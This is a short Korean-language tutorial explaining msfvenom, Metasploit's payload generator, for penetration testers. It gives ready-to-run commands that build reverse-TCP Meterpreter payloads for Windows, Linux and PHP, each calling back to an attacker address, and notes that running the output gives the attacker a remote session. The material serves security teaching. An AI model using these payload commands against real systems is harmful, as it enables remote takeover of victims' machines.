msfvenom 은 Metasploit Framework(메타스플로잇 프레임워크)에 포함된 도구로, 보안 전문가(특히 침투 테스트 전문가)가 **페이로드(payload)**를 생성하고 인코딩하는 데 사용하는 유틸리티입니다.
이름 의미
msf → Metasploit Frameworkvenom → "독"이라는 의미에서 착안 → 공격에 사용할 페이로드를 만들어내는 도구역할:
침투 테스트나 모의 해킹에서 사용할 악성 실행 파일, 스크립트, 쉘코드 등을 생성할 수 있음.
페이로드 생성 (Payload Generation)
멀티플랫폼 지원
인코딩 (Encoding) 지원
x86/shikata_ga_nai 같은 인코더 사용출력 포맷 다양
msfvenom -p <payload> LHOST=<공격자 IP> LPORT=<포트> -f <포맷> -o <출력파일>
-p : 사용할 페이로드(payload) 선택LHOST : 리스너 호스트(공격자 IP 주소)LPORT : 리스너 포트-f : 출력 포맷(format) 지정 (exe, elf, apk, c, python 등)-o : 출력 파일 지정msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.10 LPORT=4444 -f exe -o shell.exe
➡️ shell.exe 실행 시 공격자에게 Meterpreter 세션이 연결됨.
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.1.10 LPORT=4444 -f elf -o shell.elf
msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.1.10 LPORT=4444 -f raw -o shell.php
👉 정리하자면, msfvenom은 침투 테스트 전문가가 다양한 환경에 맞는 페이로드를 빠르게 생성하고 커스터마이즈할 수 있게 해주는 강력한 도구입니다.